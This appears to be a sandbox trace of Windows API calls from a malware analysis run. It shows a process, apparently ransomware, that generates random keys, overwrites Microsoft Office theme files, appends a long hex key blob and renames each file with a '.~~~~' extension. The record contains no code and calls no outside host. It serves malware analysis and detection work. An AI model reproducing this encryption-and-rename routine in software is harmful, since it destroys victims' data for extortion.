	[0121.725] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.725] GetLastError () returned 0x0
	[0121.725] GetLastError () returned 0x0
	[0121.728] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff2d20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.728] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xd2e0, lpOverlapped=0x0) returned 1
	[0121.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.729] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.730] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.730] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.730] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.730] CloseHandle (hObject=0x140) returned 1
	[0121.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb700
	[0121.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.~~~~")) returned 1
	[0121.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb700 | out: hHeap=0x300000) returned 1
	[0121.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.731] GetLastError () returned 0x0
	[0121.735] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.736] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.736] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.736] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24172646489) returned 1
	[0121.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb208ef10, dwHighDateTime=0x1d60e1e)) 
	[0121.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e648
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e648 | out: hHeap=0x300000) returned 1
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ead18
	[0121.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0121.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.737] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.737] GetLastError () returned 0x0
	[0121.738] GetLastError () returned 0x0
	[0121.738] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.738] GetLastError () returned 0x0
	[0121.738] GetLastError () returned 0x0
	[0121.748] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffeb959, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.748] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x146a7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x146a7, lpOverlapped=0x0) returned 1
	[0121.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.750] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.750] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.750] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.750] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.750] CloseHandle (hObject=0x140) returned 1
	[0121.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.752] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.~~~~")) returned 1
	[0121.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.753] GetLastError () returned 0x0
	[0121.754] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.756] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.756] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.756] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24174594174) returned 1
	[0121.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb20b5070, dwHighDateTime=0x1d60e1e)) 
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e6b8
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e6b8 | out: hHeap=0x300000) returned 1
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb408
	[0121.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.757] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.757] GetLastError () returned 0x0
	[0121.757] GetLastError () returned 0x0
	[0121.757] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.757] GetLastError () returned 0x0
	[0121.757] GetLastError () returned 0x0
	[0121.760] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffea7c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.760] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1583a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x1583a, lpOverlapped=0x0) returned 1
	[0121.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.762] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.762] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.762] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.762] CloseHandle (hObject=0x140) returned 1
	[0121.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ead18
	[0121.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.~~~~")) returned 1
	[0121.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.814] GetLastError () returned 0x0
	[0121.815] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.816] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.816] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.816] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24180625437) returned 1
	[0121.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb214d5f0, dwHighDateTime=0x1d60e1e)) 
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e808
	[0121.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e808 | out: hHeap=0x300000) returned 1
	[0121.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5b90
	[0121.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5b90 | out: hHeap=0x300000) returned 1
	[0121.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.817] GetLastError () returned 0x0
	[0121.817] GetLastError () returned 0x0
	[0121.817] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.817] GetLastError () returned 0x0
	[0121.818] GetLastError () returned 0x0
	[0121.821] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff2ea6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.821] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xd15a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0xd15a, lpOverlapped=0x0) returned 1
	[0121.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.822] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.822] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.822] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.822] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.822] CloseHandle (hObject=0x140) returned 1
	[0121.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5b90
	[0121.823] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.~~~~")) returned 1
	[0121.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5b90 | out: hHeap=0x300000) returned 1
	[0121.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.824] GetLastError () returned 0x0
	[0121.825] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.826] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.826] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.826] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24181644610) returned 1
	[0121.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb214d5f0, dwHighDateTime=0x1d60e1e)) 
	[0121.826] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e840
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e840 | out: hHeap=0x300000) returned 1
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ead18
	[0121.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc700
	[0121.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ead18 | out: hHeap=0x300000) returned 1
	[0121.827] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.827] GetLastError () returned 0x0
	[0121.827] GetLastError () returned 0x0
	[0121.828] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.828] GetLastError () returned 0x0
	[0121.828] GetLastError () returned 0x0
	[0121.832] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.832] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0121.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.835] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.835] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.879] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.879] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.879] CloseHandle (hObject=0x140) returned 1
	[0121.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3eac70
	[0121.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.~~~~")) returned 1
	[0121.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.881] GetLastError () returned 0x0
	[0121.883] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.903] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.903] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.903] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24189354875) returned 1
	[0121.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb220bcd0, dwHighDateTime=0x1d60e1e)) 
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7c00
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7c00 | out: hHeap=0x300000) returned 1
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0121.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0121.904] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.905] GetLastError () returned 0x0
	[0121.905] GetLastError () returned 0x0
